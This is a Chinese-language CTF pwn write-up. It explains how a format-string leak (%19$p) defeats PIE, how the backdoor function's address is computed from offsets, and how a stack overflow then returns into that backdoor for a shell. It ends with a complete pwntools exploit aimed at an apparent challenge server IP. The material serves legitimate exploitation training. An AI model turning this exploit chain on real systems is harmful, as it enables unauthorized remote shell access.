首先checksec~
发现开了pie
然后ida看看
可以看到输入1是一个栈溢出,输入2有一个格式化字符串
而且还找到了后门函数
那么我们就要想办法泄露出一个函数真实地址,以此来计算偏移得到后门函数的地址从而getshell
gdb调试:
在printf处下一个断点,再输入一串%p
接着回车之后看下栈
可以发现在0x7fffffffdf18处存放了main函数的地址,而printf输入时的位置在0x7fffffffdeb0,并且64位传参前6个参数要放在寄存器中,那么实际main函数真实地址相对格式化字符串参数的位置为(0x7fffffffdf18-0x7fffffffdeb0)/8+6=19
接着计算main与后门函数的偏移,直接ida看后四位再相减就欧克了,代码如下
io.recvuntil('Your choice :\n')
io.sendline('2')
payload = '%19$p'
io.sendlineafter('\n',payload)
addr = int(io.recv(16).decode(),16)
print(addr)
main = 0x12EB
shell = 0x129A
offset = main-shell
shelladr = addr-offset
然后就是愉快的ret2text过程。完整exp如下
from pwn import*
#context.log_level = 'debug'
io = remote('121.196.192.181', 10001)
io.recvuntil('Your choice :\n')
io.sendline('2')
payload = '%19$p'
io.sendlineafter('\n',payload)
addr = int(io.recv(16).decode(),16)
print(addr)
main = 0x12EB
shell = 0x129A
offset = main-shell
shelladr = addr-offset
io.sendlineafter('Your choice :\n','1')
io.recvuntil('Mountain')
payload = b'a'*(0x28)+p64(shelladr)io.sendline(payload)
io.interactive()
希望对各位有所帮助。